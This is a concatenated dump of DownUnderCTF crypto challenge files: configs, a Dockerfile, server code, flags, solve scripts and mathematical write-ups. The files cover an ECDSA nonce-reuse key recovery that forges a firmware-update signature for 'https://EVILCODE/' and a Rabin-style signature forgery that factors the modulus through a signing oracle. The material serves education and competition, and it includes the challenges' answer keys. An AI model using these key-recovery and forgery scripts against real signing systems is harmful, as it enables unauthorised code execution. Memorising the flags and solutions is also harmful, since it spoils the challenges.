version: "0.1" id: otwhat-2 name: OTWhat 2 category: crypto description: | "We have been notified by our customers that unauthorised code has been executed on devices using a cryptographic oversight, likely by an Australian APT. We are deeply sorry, and will aim to work with affected customers and law enforcement. For the time being, we urge our customers to update to the latest version (6.9) which uses the more sophisticated ECDSA scheme facilitated by government-approved cryptography (P-256) and also provides an audit log for incident response." Author: nullableVoid*#7225 connection_info: ${url} tags: - medium flags: - DUCTF{27C3 Console Hacking 2010 (PS3 3p1c F41l)} ================================================ FILE: crypto/otwhat-2/solve/solve.py ================================================ import sys import requests import re from bs4 import BeautifulSoup import base64 from Crypto.Hash import SHA3_512 from Crypto.Util import asn1 from Crypto.PublicKey import ECC from Crypto.Signature import DSS from base64 import b64encode soup = BeautifulSoup( requests.get(f"http://{sys.argv[1]}/update.cgi").text, "lxml" ) signatures = [] for row in soup.select("tr"): cells = row.select("td") if cells: signatures.append( ( cells[0].text.strip(), list( asn1.DerSequence().decode(base64.b64decode(cells[1].text.strip())) ), ) ) duplicates = [] seen = {} for i, signature in enumerate(signatures): url = signature[0] r, s = signature[1] if r in seen: duplicates = [(url, s), seen[r]] break seen[r] = (url, s) print(duplicates) zs = [ int.from_bytes(SHA3_512.new(d[0].encode()).digest(), "big") >> 256 for d in duplicates ] ss = [d[1] for d in duplicates] n = 115792089210356248762697446949407573529996955224135760342422259061068512044369 k = ((zs[0] - zs[1]) * pow(ss[0] - ss[1], -1, n)) % n da = (((ss[0] * k) - zs[0]) * pow(int(r), -1, n)) % n k = ECC.construct(curve="secp256r1", d=da) forged_signature = DSS.new(k, "fips-186-3", "der").sign( SHA3_512.new(b"https://EVILCODE/") ) print(b64encode(forged_signature).decode()) result = requests.post( f"https://{sys.argv[1]}/update.cgi", data={ "url": "https://EVILCODE/", "signature": b64encode(forged_signature).decode(), }, ).text print(re.search(r"DUCTF\{.*\}", result)[0]) ================================================ FILE: crypto/otwhat-2/solve/writeup.md ================================================ As the flag heavily references the OG talk, this is a known cryptographic failure of PS3 signed software, with the use of a static k. In order to recover the private key, two signatures with identical `r` and the order of the curve used is required. The web service provides an "Update audit log", providing update URLs and correlating OEM signatures. The signatures are PEM-encoded ASN.1 sequences containing just two integers, r and s. Once the player has identified signatures with an identical `r`, they must also identify the hashing algorithm used so that they recover the `z` (leftmost bits of a digest). The HTML source has a `DEBUG` section providing the resulting hash digest, which is 512-bit. After identifying the hash to be 512-bit, the player can then recover the private key. Note: calculations below are done in modulo `n`, where `n` is the order of the P-256 curve. The two `z` variables must be recovered by using the hashing algorithm and taking its leftmost 256 bits: ``` bytes_to_long(SHA3_512(url)) >> 256 ``` These `z` variables can then be used with the two `s` variables from the identified signatures to recover the nonce `k`: ``` k = (z1 - z2) / (s1 - s2) ``` The private key `d` can now be calculated using one of signatures and its `k`: ``` d = ((s * k) - z) / r ``` All the player has to do now is specify the scalar `d` when constructing a `secp256r1` key, and then sign the URL `https://EVILCODE/` using ECDSA. ================================================ FILE: crypto/power-sign/Dockerfile ================================================ FROM sagemath/sagemath:9.1 ENV DEBIAN_FRONTEND=noninteractive RUN sudo apt-get update \ && sudo apt-get install -y socat --fix-missing \ && sudo rm -r /var/lib/apt/lists/* COPY ./challenge/power-sign.sage /home/ctf/chal/chal.sage COPY ./challenge/flag.txt /home/ctf/chal/ WORKDIR /home/ctf/chal ENTRYPOINT sudo socat -dd TCP4-LISTEN:1337,fork,reuseaddr EXEC:"sage chal.sage" ================================================ FILE: crypto/power-sign/README.md ================================================ # power sign **Category:** crypto **Difficulty:** hard **Author:** joseph#8210 You know the drill. Forge a signature, get the flag. **Attached files:** - ./challenge/power-sign.sage (sha256: 7d3ecc8561600b4b7f61b94af135fd50caf55c353b4f8b935ae126492a687446) ================================================ FILE: crypto/power-sign/challenge/flag.txt ================================================ DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...} ================================================ FILE: crypto/power-sign/challenge/power-sign.sage ================================================ #!/usr/bin/env sage proof.arithmetic(False) # just makes things faster def get_3m4_prime(N): while True: p = random_prime(2^N - 1, lbound=2^(N-1)) if p % 4 == 3: return p def generate_key(L, n, m): p = get_3m4_prime(L//2) q = get_3m4_prime(L//2) N = p*q r = next_prime(N) F. = PolynomialRing(GF(r)) K = F.quo(F.irreducible_element(n)) return (K, m), N, (p, q) def H(params, msg, u): K, m = params r, z = K.characteristic(), K.gens()[0] h = 0 while msg > 0: h *= z h += msg % r msg //= r h += z*u for _ in range(m): h ^= r assert len(list(h)) != 0 return int(h[0]) def sign(params, privkey, msg): p, q = privkey u = 1 while True: c = H(params, msg, u) % (p*q) if legendre_symbol(c, p) == legendre_symbol(c, q) == 1: break u += 1 xp = pow(c, (p+1)//4, p) xq = pow(c, (q+1)//4, q) x = crt([int(xp), int(xq)], [p, q]) return x, u def verify(params, pubkey, msg, sig): N = pubkey x, u = sig c = H(params, msg, u) return x^2 % N == c % N def main(): print('Welcome to the game. To get the flag, give me a message to sign, then sign a random message of mine!') FLAG = open('./flag.txt', 'r').read().strip() L, n, m = 1024, 15, 3 params, pubkey, privkey = generate_key(L, n, m) print('N:', pubkey) msg = int(input('message (in hex): '), 16) if msg < pubkey^m: print('That message is too small!') exit() if msg > pubkey^n: print('That message is too big!') exit() x, u = sign(params, privkey, msg) print('x:', x) print('u:', u) auth_msg = randint(1, pubkey^5) print('Now sign', hex(auth_msg)) x = int(input('x: ')) u = int(input('u: ')) if verify(params, pubkey, auth_msg, (x, u)): print(FLAG) else: print('Incorrect!') if __name__ == '__main__': main() ================================================ FILE: crypto/power-sign/challenge.yml ================================================ version: "0.1" id: power-sign name: power sign category: crypto description: > You know the drill. Forge a signature, get the flag. Author: joseph#8210 connection_info: nc ${host} ${port} tags: - hard files: - ./challenge/power-sign.sage flags: - DUCTF{lets_us3_a_pr0p3r_h4sh_function_n3xt_t1me...} ================================================ FILE: crypto/power-sign/docker-compose.yml ================================================ version: '3' services: power-sign: # challenge name build: . ports: - "1337:1337" # local:container privileged: true ================================================ FILE: crypto/power-sign/solve/solv.sage ================================================ import os os.environ['PWNLIB_NOTERM'] = 'True' from pwn import * from parse import parse proof.arithmetic(False) def H(params, msg, u): K, m = params r, z = K.characteristic(), K.gens()[0] h = 0 while msg > 0: h *= z h += msg % r msg //= r h += z*u for _ in range(m): h ^= r return int(h.polynomial()[0]) def sign(params, privkey, msg): p, q = privkey u = 1 while True: c = H(params, msg, u) % (p*q) if c != 0 and legendre_symbol(c, p) == legendre_symbol(c, q) == 1: break u += 1 xp = pow(c, (p+1)//4, p) xq = pow(c, (q+1)//4, q) x = crt([int(xp), int(xq)], [p, q]) return x, u # context.log_level = 'debug' # conn = process('../challenge/power-sign.sage') conn = remote('0.0.0.0', 1337) conn.recvline() N = list(parse('N: {:d}\n', conn.recvline().decode()))[0] n, m = 15, 3 r = next_prime(N) F = GF(r) K. = F.extension(n) E = K.subfield(m, 'zE') zE = E.gens()[0] e0 = int(K(zE).polynomial()[0]) s = randint(1, N) s2 = s^2 % N k = K(inverse_mod(e0, r) * s2 * zE) - zK y = sum(int(a)*r^i for i, a in enumerate(k.polynomial().coefficients(sparse=False)[::-1])) conn.sendlineafter('message (in hex): ', hex(y)) x = list(parse('x: {:d}\n', conn.recvline().decode()))[0] u = list(parse('u: {:d}\n', conn.recvline().decode()))[0] if x == s or x == -s % N: print('attack failed... try again') exit() p = gcd(s - x, N) q = N//p auth_msg = list(parse('Now sign {:d}\n', conn.recvline().decode()))[0] x, u = sign((K, m), (p, q), auth_msg) conn.sendlineafter('x: ', str(x)) conn.sendlineafter('u: ', str(u)) print(conn.recvline().decode()) ================================================ FILE: crypto/power-sign/solve/writeup.ipynb ================================================ { "cells": [ { "cell_type": "markdown", "id": "84581558", "metadata": {}, "source": [ "## Challenge Overview\n", "\n", "We are given the code running on a server that implements a signature scheme. We can ask the server to sign one message, then we are challenged to forge a signature for a random message.\n", "\n", "The signature scheme resembles the [Rabin signature algorithm](https://en.wikipedia.org/wiki/Rabin_signature_algorithm). The public key is an RSA modulus $N = pq$ whose prime factorisation is the private key. A message $M$ is signed by first computing a _randomised hash_ $H(M, u)$ (where $u$ is random) of $M$. If $H(M, u)$ has a square root modulo $N$, a square root $x$ modulo $N$ is computed and the signature $(x, u)$ is outputted. Otherwise, we try again with a different $u$. Note that computing square roots modulo $N$, or even determining whether a number has a square root modulo $N$ is equivalent to factoring $N$. To verify a signature $(x, u)$ for the message $M$, we simply check that the equality $x^2 \\equiv H(m, u) \\pmod N$ holds.\n", "\n", "In the challenge, the primes generated are of the form $p \\equiv 3 \\pmod 4$. This is done because if $p$ is a prime such that $p \\equiv 3 \\pmod 4$, then if a square root of $a \\in \\{ 0, \\ldots, p-1 \\}$ exists, it can be easily computed as $\\pm a^{\\frac{p+1}{4}} \\mod p$. To compute a square root of $c$ modulo $N$, we compute square roots of $c$ modulo $p$ and modulo $q$, then combine them with the Chinese Remainder Theorem.\n", "\n", "## Security of Rabin Signatures\n", "\n", "Before we proceed, we'll take a look at an easy attack against a simplified variant of the Rabin signature algorithm. Specifically, we consider a variant that does not use a hash function at all, i.e. to sign a message $M$ the signer simply computes a square root of $M$ modulo $N$. For simplicity, we assume that all the messages to be signed actually do have square roots modulo $N$, though it does not really matter. There is one trivial attack; anyone can \"forge\" a valid signature for $M$ if $M$ is a perfect square. For example, if $M = 9$, then $x = 3$ is a valid signature since $x^2 \\equiv m \\pmod N$.\n", "\n", "More interestingly however, it turns out that we can recover the private key given access to a signing oracle. We do this by choosing a random $x < N$ and ask the oracle to sign $x^2 \\mod N$. It returns a square root $y$ of $x^2$ modulo $N$. Now, if $y \\neq \\pm x \\pmod N$, then we have\n", "\n", "$$\n", "\\begin{aligned}\n", " x^2 &\\equiv y^2 \\pmod N \\\\\n", " \\implies x^2 - y^2 &\\equiv 0 \\pmod N \\\\\n", " \\implies x^2 - y^2 &= kN \\quad \\text{for some $k$} \\\\\n", " \\implies (x-y)(x+y) &= kN\n", "\\end{aligned}\n", "$$\n", "\n", "so $\\gcd(x-y, N)$ reveals a nontrivial factor of $N$.\n", "\n", "## The Hash Function\n", "\n", "This section and the next are somewhat algebra-heavy and basic results from algebra are used without proof for brevity. It may be worthwhile to read up on finite fields, field extensions and Galois theory (for later) if they are unfamiliar concepts.\n", "\n", "We learned the importance of a good, randomised hash function in the previous section. And more importantly, we learned that a hash function which is simply the identity map (i.e. sends any input to itself), is completely insecure. We will now take a look at the hash function in the challenge.\n", "\n", "Choose a composite integer $n$ and a proper divisor $m$ (in the challenge we have $n = 15, m = 3$). Let $r$ be the smallest prime number following $N$, where $N$ is the signer's public key. We will work in an extension field $K = \\mathbb{F}_{r^n} \\cong \\mathbb{F}_r[x]/(f)$ of $\\mathbb{F}_r$, where $f \\in \\mathbb{F}_r[x]$ is a public degree $n$ irreducible polynomial. Let $z = x + (f)$. Then $z$ generates $K$ and $\\{ 1, z, z^2, \\ldots, z^{n-1} \\}$ is basis for $K$ when viewed as an $n$-dimensional $\\mathbb{F}_r$-vector space. That is, elements in $K$ can be written in the form $a_0 + a_1 z + \\cdots + a_{n-1} z^{n-1}$ where $a_i \\in \\mathbb{F}_r$.\n", "\n", "The randomised hash function $H$ takes as input a message $M$ and an integer $u$. Write $M$ in terms of powers of $r$:\n", "\n", "$$\n", "M = M_0 + M_1 r + M_2 r^2 + \\cdots + M_k r^k\n", "$$\n", "\n", "where $M_i < r$. Then, $M$ is converted to an element $h$ in $K$ by computing\n", "\n", "$$\n", "h = M_k + M_{k-1} z + M_{k-2} z^2 + \\cdots + M_0 z^k\n", "$$\n", "\n", "To obtain the hash, the function computes $(h + uz)^{r^m}$ which we write as\n", "\n", "$$\n", "(h + uz)^{r^m} = a_0 + a_1 z + \\cdots + a_{n-1} z^{n-1}\n", "$$\n", "\n", "The output is $a_0$.\n", "\n", "## Choosing a Message to be Signed\n", "\n", "After the server provides us with its public key, it prompts us to send a message to be signed. Note that (in the `sign` function) $u$ isn't chosen randomly; it starts at $1$ and increments until $H(M, u)$ is a square. There is also a peculiar restriction on the message; it has to be larger than $N^m$ and smaller than $N^n$.\n", "\n", "If we were able to send messages of any size for the server to sign, we can easily find a message that will help us to recover the private key. Specifically, we would choose a random $s < N$ and send the message $(r - 1) + (s^2 \\mod N) r$. The hash function will convert this to $h = (s^2 \\mod N) + (r - 1)z$ and output the constant term in $(h + uz)^{r^m}$ which happens to just be $s^2 \\mod N$ since all elements $a \\in \\mathbb{F}_r$ satisfy $a^r = a$ by Fermat's Little Theorem. So when the server signs this, we have the exact same situation as the attack described two sections ago. However, the size check prevents this attack.\n", "\n", "Recall that the identity map is insecure as a hash function for the reasons given two sections ago. It turns out that our particular hash function is the identity map on a specific subset, or rather, subfield of $K$ other than $\\mathbb{F}_r$. We have\n", "\n", "$$\n", "H(M, u) = (h + uz)^{r^m}\n", "$$\n", "\n", "where $h$ is the element in $K$ we obtain by converting $M$. We can write this as a composition $H = f \\circ g$ where\n", "\n", "$$\n", "g(M, u) = h + uz \\qquad f(x) = x^{r^m}\n", "$$\n", "\n", "The goal will be to find fixed points of $H$, which can be done by finding fixed points of $f$ since we can easily manipulate the result of $g(M, u)$ by carefully choosing $M$. Fixed points of $f$ satisfy\n", "\n", "$$\n", "f(x) = x \\implies x^{r^m} = x \\implies x^{r^m} - x = 0\n", "$$\n", "\n", "Note that for a finite field $E$ of order $r^m$, the elements of $E$ are given by the roots of $x^{r^m} - x$. This follows from the fact that the multiplicative group $E^\\times = E - \\{ 0 \\}$ is a cyclic group of order $r^m - 1$, so if $\\alpha \\in E$, then $\\alpha^{r^m - 1} = 1$ and so $\\alpha^{r^m} = \\alpha$. That $E^\\times$ is cyclic of order $r^m - 1$ follows from the structure theorem for finite abelian groups which states that any finite abelian group is a direct product of cyclic groups. There are a lot of references online for these results and their proofs.\n", "\n", "So, to solve for the roots of $x^{r^m} - x$ we simply need to look at elements in the finite field $E$ of order $r^m$. Since $m$ divides $n$, then this field is actually a subfield of $K$ because if $x$ satisfies $x^{r^m} = x$, then it also satisfies\n", "\n", "$$\n", "\\begin{aligned}\n", " x^{r^n} &= x^{r^{km}} \\\\\n", " &= x^{(r^m)^k} \\\\\n", " &= x^{(r^m)(r^m)^{k-1}} \\\\\n", " &= (x^{r^m})^{(r^m)^{k-1}} \\\\\n", " &= x^{(r^m)^{k-1}} \\\\\n", " &\\quad \\vdots \\\\\n", " &= x\n", "\\end{aligned}\n", "$$\n", "\n", "(and it can also be checked that $E$ actually is a field). This is good for us as it means we can write the elements in terms of $z$ which is what the server will be expecting.\n", "\n", "Let $z_E$ be a generator of $E$. Because $E$ is a subfield of $K$, then $z_E$ can be written as\n", "\n", "$$\n", "z_E = e_0 + e_1 z + \\cdots e_{n-1} z^{n-1}\n", "$$\n", "\n", "where $e_i \\in \\mathbb{F}_r$. Choose a random $s < N$. We will want to find an element in $K$ of the form\n", "\n", "$$\n", "(s^2 \\mod N) + a_1 z + \\cdots a_n z^{n-1}\n", "$$\n", "\n", "such that when $H$ is applied to this element, the constant term remains as $s^2 \\mod N$ which will be the output of the hash function. To do this, we will find an element in $E$ with $s^2 \\mod N$ as its constant term, and then subtract $z$ from it to account for the randomising value $u$ which we can predict will be $1$.\n", "\n", "The element in $K$ we are interested in is obtained by computing\n", "\n", "$$\n", "(s^2 \\mod N) e_0^{-1} z_E - z = (s^2 \\mod N) + a_1 z + \\cdots + a_n z^{n-1}\n", "$$\n", "\n", "To send this to the server, we encode it as an integer:\n", "\n", "$$\n", "a_n + a_{n-1} r + \\cdots + a_1 r^{n-2} + (s^2 \\mod N) r^{n-1}\n", "$$\n", "\n", "The server will compute for us a square root $y$ of $s^2 \\mod N$ and if we have $y \\neq \\pm s$, we can easily recover the private key using the technique described two sections ago.\n", "\n", "Once we have the private key, we can use the provided functions in the handout code to sign the challenge message and capture the flag.\n", "\n", "### Easier Solution\n", "\n", "I was made aware of this by [S3v3ru5's](https://twitter.com/S3v3ru5_) solve during the CTF, but choosing the message to be signed can actually be quite simple (though fundamentally relies on most of the above theory); the idea is to shift the goal posts a bit and instead of trying to find a fixed message, we find a message whose hash is something we can control. We do this by noting that since $x^{r^n} = x$ for all $x \\in K$, then for any of our chosen $x \\in K$, if we send $x^{r^{n - m}} - zu$, then after being hashed, the result is exactly $x$. I imagine most teams would have solved this way instead of finding the subfield which is quite a bit more complicated. I obviously lacked the hindsight to spot this solution when writing the challenge, but it's pretty neat :)\n", "\n", "## Alternative Approach via Linearity Properties\n", "\n", "This solution idea is due to [rkm0959](https://twitter.com/rkm0959) who taught me this during the CTF after he solved it. Instead of looking at the fields involved, we can simply note that the hash function has some nice linearity properties. In particular\n", "\n", "$$\n", "H(M, u) = H(M, 0) + u H(0, 1) \\pmod r\n", "$$\n", "\n", "So to forge a signature for any given $M$, we simply let $x = 1$ and solve for $u$:\n", "\n", "$$\n", "\\begin{aligned}\n", " x^2 &= H(M, u) \\\\\n", "\\implies x &= H(M, u) \\qquad \\text{since $x = 1$} \\\\\n", "\\implies x &= H(M, 0) + u H(0, 1) \\\\\n", "\\implies u &= H(0, 1)^{-1}(x - H(M, 0))\n", "\\end{aligned}\n", "$$\n", "\n", "Then, $(x, u)$ is a valid signature for $M$.\n", "\n", "This attack doesn't need to use the signing oracle and shows that the signature scheme is completely broken when using this hash function. Pretty cool solution!\n", "\n", "## Alternative Approach via Galois Theory\n", "\n", "Alternatively, one might recognise the resemblance of the function $f$ with the Frobenius map $\\phi : K \\rightarrow K, x \\mapsto x^r$ which is an $\\mathbb{F}_r$-automorphism that generates the Galois group $G$ of $K/\\mathbb{F}_r$. Note that $G$ is cyclic and of order $n$ as $\\phi^n : K \\rightarrow K, x \\mapsto x^{r^n}$ is the identity map. The Fundamental Theorem of Galois Theory tells us that there is a one-to-one correspondence between the subgroups of the Galois group of $K$, and the intermediate fields of $K$. Explicitly, for a given subgroup $H$ of $G$, the corresponding intermediate field of $K$ is given by the fixed field $K^H$, the set of all elements in $K$ which are fixed by all of the maps in $H$. Another result, sometimes known as the Fixed Field Theorem, tells us that the order of $H$ is equal to the degree of $K$ as an extension of $K^H$. We use this, along with the fact that the subfields of $K$ are given by $\\mathbb{F}_{r^d}$ where $d$ divides $n$, to find the fixed fields.\n", "\n", "In the challenge, we have $n = 15$, so the Galois group $G$ is isomorphic to $\\mathbb{Z}/15\\mathbb{Z}$. The table below lists out the subgroups of $G$ and their corresponding intermediate fields ($\\mathrm{id}$ denotes the identity map):\n", "\n", "|Subgroup of $G$|Intermediate Field of $K$|\n", "|---|---|\n", "|$H_0 = \\{ \\mathrm{id} \\}$|$K^{H_0} = K$ (all elements are fixed by $\\mathrm{id}$)|\n", "|$H_1 = \\{ \\mathrm{id}, \\phi^5, \\phi^{10} \\}$|$K^{H_1} = \\mathbb{F}_{r^5}$|\n", "|$H_2 = \\{ \\mathrm{id}, \\phi^3, \\phi^6, \\phi^9, \\phi^{12} \\}$|$K^{H_2} = \\mathbb{F}_{r^3}$|\n", "|$G$|$K^G = \\mathbb{F}_r$ (only $\\mathbb{F}_r$ is fixed by all automorphisms)|\n", "\n", "From this, we can see that $\\mathbb{F}_{r^3}$ is fixed by $\\phi^3$.\n" ] }, { "cell_type": "code", "execution_count": null, "id": "97009ea4", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "SageMath 9.4", "language": "sage", "name": "sagemath" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.7" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: crypto/power-sign/solve/writeup.md ================================================ ## Challenge Overview We are given the code running on a server that implements a signature scheme. We can ask the server to sign one message, then we are challenged to forge a signature for a random message. The signature scheme resembles the [Rabin signature algorithm](https://en.wikipedia.org/wiki/Rabin_signature_algorithm). The public key is an RSA modulus $N = pq$ whose prime factorisation is the private key. A message $M$ is signed by first computing a _randomised hash_ $H(M, u)$ (where $u$ is random) of $M$. If $H(M, u)$ has a square root modulo $N$, a square root $x$ modulo $N$ is computed and the signature $(x, u)$ is outputted. Otherwise, we try again with a different $u$. Note that computing square roots modulo $N$, or even determining whether a number has a square root modulo $N$ is equivalent to factoring $N$. To verify a signature $(x, u)$ for the message $M$, we simply check that the equality $x^2 \equiv H(m, u) \pmod N$ holds. In the challenge, the primes generated are of the form $p \equiv 3 \pmod 4$. This is done because if $p$ is a prime such that $p \equiv 3 \pmod 4$, then if a square root of $a \in \{ 0, \ldots, p-1 \}$ exists, it can be easily computed as $\pm a^{\frac{p+1}{4}} \mod p$. To compute a square root of $c$ modulo $N$, we compute square roots of $c$ modulo $p$ and modulo $q$, then combine them with the Chinese Remainder Theorem. ## Security of Rabin Signatures Before we proceed, we'll take a look at an easy attack against a simplified variant of the Rabin signature algorithm. Specifically, we consider a variant that does not use a hash function at all, i.e. to sign a message $M$ the signer simply computes a square root of $M$ modulo $N$. For simplicity, we assume that all the messages to be signed actually do have square roots modulo $N$, though it does not really matter. There is one trivial attack; anyone can "forge" a valid signature for $M$ if $M$ is a perfect square. For example, if $M = 9$, then $x = 3$ is a valid signature since $x^2 \equiv m \pmod N$. More interestingly however, it turns out that we can recover the private key given access to a signing oracle. We do this by choosing a random $x < N$ and ask the oracle to sign $x^2 \mod N$. It returns a square root $y$ of $x^2$ modulo $N$. Now, if $y \neq \pm x \pmod N$, then we have $$ \begin{aligned} x^2 &\equiv y^2 \pmod N \\ \implies x^2 - y^2 &\equiv 0 \pmod N \\ \implies x^2 - y^2 &= kN \quad \text{for some $k$} \\ \implies (x-y)(x+y) &= kN \end{aligned} $$ so $\gcd(x-y, N)$ reveals a nontrivial factor of $N$. ## The Hash Function This section and the next are somewhat algebra-heavy and basic results from algebra are used without proof for brevity. It may be worthwhile to read up on finite fields, field extensions and Galois theory (for later) if they are unfamiliar concepts. We learned the importance of a good, randomised hash function in the previous section. And more importantly, we learned that a hash function which is simply the identity map (i.e. sends any input to itself), is completely insecure. We will now take a look at the hash function in the challenge. Choose a composite integer $n$ and a proper divisor $m$ (in the challenge we have $n = 15, m = 3$). Let $r$ be the smallest prime number following $N$, where $N$ is the signer's public key. We will work in an extension field $K = \mathbb{F}_{r^n} \cong \mathbb{F}_r[x]/(f)$ of $\mathbb{F}_r$, where $f \in \mathbb{F}_r[x]$ is a public degree $n$ irreducible polynomial. Let $z = x + (f)$. Then $z$ generates $K$ and $\{ 1, z, z^2, \ldots, z^{n-1} \}$ is basis for $K$ when viewed as an $n$-dimensional $\mathbb{F}_r$-vector space. That is, elements in $K$ can be written in the form $a_0 + a_1 z + \cdots + a_{n-1} z^{n-1}$ where $a_i \in \mathbb{F}_r$. The randomised hash function $H$ takes as input a message $M$ and an integer $u$. Write $M$ in terms of powers of $r$: $$ M = M_0 + M_1 r + M_2 r^2 + \cdots + M_k r^k $$ where $M_i < r$. Then, $M$ is converted to an element $h$ in $K$ by computing $$ h = M_k + M_{k-1} z + M_{k-2} z^2 + \cdots + M_0 z^k $$ To obtain the hash, the function computes $(h + uz)^{r^m}$ which we write as $$ (h + uz)^{r^m} = a_0 + a_1 z + \cdots + a_{n-1} z^{n-1} $$ The output is $a_0$. ## Choosing a Message to be Signed After the server provides us with its public key, it prompts us to send a message to be signed. Note that (in the `sign` function) $u$ isn't chosen randomly; it starts at $1$ and increments until $H(M, u)$ is a square. There is also a peculiar restriction on the message; it has to be larger than $N^m$ and smaller than $N^n$. If we were able to send messages of any size for the server to sign, we can easily find a message that will help us to recover the private key. Specifically, we would choose a random $s < N$ and send the message $(r - 1) + (s^2 \mod N) r$. The hash function will convert this to $h = (s^2 \mod N) + (r - 1)z$ and output the constant term in $(h + uz)^{r^m}$ which happens to just be $s^2 \mod N$ since all elements $a \in \mathbb{F}_r$ satisfy $a^r = a$ by Fermat's Little Theorem. So when the server signs this, we have the exact same situation as the attack described two sections ago. However, the size check prevents this attack. Recall that the identity map is insecure as a hash function for the reasons given two sections ago. It turns out that our particular hash function is the identity map on a specific subset, or rather, subfield of $K$ other than $\mathbb{F}_r$. We have $$ H(M, u) = (h + uz)^{r^m} $$ where $h$ is the element in $K$ we obtain by converting $M$. We can write this as a composition $H = f \circ g$ where $$ g(M, u) = h + uz \qquad f(x) = x^{r^m} $$ The goal will be to find fixed points of $H$, which can be done by finding fixed points of $f$ since we can easily manipulate the result of $g(M, u)$ by carefully choosing $M$. Fixed points of $f$ satisfy $$ f(x) = x \implies x^{r^m} = x \implies x^{r^m} - x = 0 $$ Note that for a finite field $E$ of order $r^m$, the elements of $E$ are given by the roots of $x^{r^m} - x$. This follows from the fact that the multiplicative group $E^\times = E - \{ 0 \}$ is a cyclic group of order $r^m - 1$, so if $\alpha \in E$, then $\alpha^{r^m - 1} = 1$ and so $\alpha^{r^m} = \alpha$. That $E^\times$ is cyclic of order $r^m - 1$ follows from the structure theorem for finite abelian groups which states that any finite abelian group is a direct product of cyclic groups. There are a lot of references online for these results and their proofs. So, to solve for the roots of $x^{r^m} - x$ we simply need to look at elements in the finite field $E$ of order $r^m$. Since $m$ divides $n$, then this field is actually a subfield of $K$ because if $x$ satisfies $x^{r^m} = x$, then it also satisfies $$ \begin{aligned} x^{r^n} &= x^{r^{km}} \\ &= x^{(r^m)^k} \\ &= x^{(r^m)(r^m)^{k-1}} \\ &= (x^{r^m})^{(r^m)^{k-1}} \\ &= x^{(r^m)^{k-1}} \\ &\quad \vdots \\ &= x \end{aligned} $$ (and it can also be checked that $E$ actually is a field). This is good for us as it means we can write the elements in terms of $z$ which is what the server will be expecting. Let $z_E$ be a generator of $E$. Because $E$ is a subfield of $K$, then $z_E$ can be written as $$ z_E = e_0 + e_1 z + \cdots e_{n-1} z^{n-1} $$ where $e_i \in \mathbb{F}_r$. Choose a random $s < N$. We will want to find an element in $K$ of the form $$ (s^2 \mod N) + a_1 z + \cdots a_n z^{n-1} $$ such that when $H$ is applied to this element, the constant term remains as $s^2 \mod N$ which will be the output of the hash function. To do this, we will find an element in $E$ with $s^2 \mod N$ as its constant term, and then subtract $z$ from it to account for the randomising value $u$ which we can predict will be $1$. The element in $K$ we are interested in is obtained by computing $$ (s^2 \mod N) e_0^{-1} z_E - z = (s^2 \mod N) + a_1 z + \cdots + a_n z^{n-1} $$ To send this to the server, we encode it as an integer: $$ a_n + a_{n-1} r + \cdots + a_1 r^{n-2} + (s^2 \mod N) r^{n-1} $$ The server will compute for us a square root $y$ of $s^2 \mod N$ and if we have $y \neq \pm s$, we can easily recover the private key using the technique described two sections ago. Once we have the private key, we can use the provided functions in the handout code to sign the challenge message and capture the flag. ### Easier Solution I was made aware of this by [S3v3ru5's](https://twitter.com/S3v3ru5_) solve during the CTF, but choosing the message to be signed can actually be quite simple (though fundamentally relies on most of the above theory); the idea is to shift the goal posts a bit and instead of trying to find a fixed message, we find a message whose hash is something we can control. We do this by noting that since $x^{r^n} = x$ for all $x \in K$, then for any of our chosen $x \in K$, if we send $x^{r^{n - m}} - zu$, then after being hashed, the result is exactly $x$. I imagine most teams would have solved this way instead of finding the subfield which is quite a bit more complicated. I obviously lacked the hindsight to spot this solution when writing the challenge, but it's pretty neat :) ## Alternative Approach via Linearity Properties This solution idea is due to [rkm0959](https://twitter.com/rkm0959) who taught me this during the CTF after he solved it. Instead of looking at the fields involved, we can simply note that the hash function has some nice linearity properties. In particular $$ H(M, u) = H(M, 0) + u H(0, 1) \pmod r $$ So to forge a signature for any given $M$, we simply let $x = 1$ and solve for $u$: $$ \begin{aligned} x^2 &= H(M, u) \\ \implies x &= H(M, u) \qquad \text{since $x = 1$} \\ \implies x &= H(M, 0) + u H(0, 1) \\ \implies u &= H(0, 1)^{-1}(x - H(M, 0)) \end{aligned} $$ Then, $(x, u)$ is a valid signature for $M$. This attack doesn't need to use the signing oracle and shows that the signature scheme is completely broken when using this hash function. Pretty cool solution! ## Alternative Approach via Galois Theory Alternatively, one might recognise the resemblance of the function $f$ with the Frobenius map $\phi : K \rightarrow K, x \mapsto x^r$ which is an $\mathbb{F}_r$-automorphism that generates the Galois group $G$ of $K/\mathbb{F}_r$. Note that $G$ is cyclic and of order $n$ as $\phi^n : K \rightarrow K, x \mapsto x^{r^n}$ is the identity map. The Fundamental Theorem of Galois Theory tells us that there is a one-to-one correspondence between the subgroups of the Galois group of $K$, and the intermediate fields of $K$. Explicitly, for a given subgroup $H$ of $G$, the corresponding intermediate field of $K$ is given by the fixed field $K^H$, the set of all elements in $K$ which are fixed by all of the maps in $H$. Another result, sometimes known as the Fixed Field Theorem, tells us that the order of $H$ is equal to the degree of $K$ as an extension of $K^H$. We use this, along with the fact that the subfields of $K$ are given by $\mathbb{F}_{r^d}$ where $d$ divides $n$, to find the fixed fields. In the challenge, we have $n = 15$, so the Galois group $G$ is isomorphic to $\mathbb{Z}/15\mathbb{Z}$. The table below lists out the subgroups of $G$ and their corresponding intermediate fields ($\mathrm{id}$ denotes the identity map): |Subgroup of $G$|Intermediate Field of $K$| |---|---| |$H_0 = \{ \mathrm{id} \}$|$K^{H_0} = K$ (all elements are fixed by $\mathrm{id}$)| |$H_1 = \{ \mathrm{id}, \phi^5, \phi^{10} \}$|$K^{H_1} = \mathbb{F}_{r^5}$| |$H_2 = \{ \mathrm{id}, \phi^3, \phi^6, \phi^9, \phi^{12} \}$|$K^{H_2} = \mathbb{F}_{r^3}$| |$G$|$K^G = \mathbb{F}_r$ (only $\mathbb{F}_r$ is fixed by all automorphisms)| From this, we can see that $\mathbb{F}_{r^3}$ is fixed by $\phi^3$. ================================================ FILE: crypto/secuchat/README.md ================================================ # Secuchat **Category:** crypto **Difficulty:** medium **Author:** nullableVoid\*#7225 "With end-to-end encryption facilitated by military-grade RSA2048-OAEP 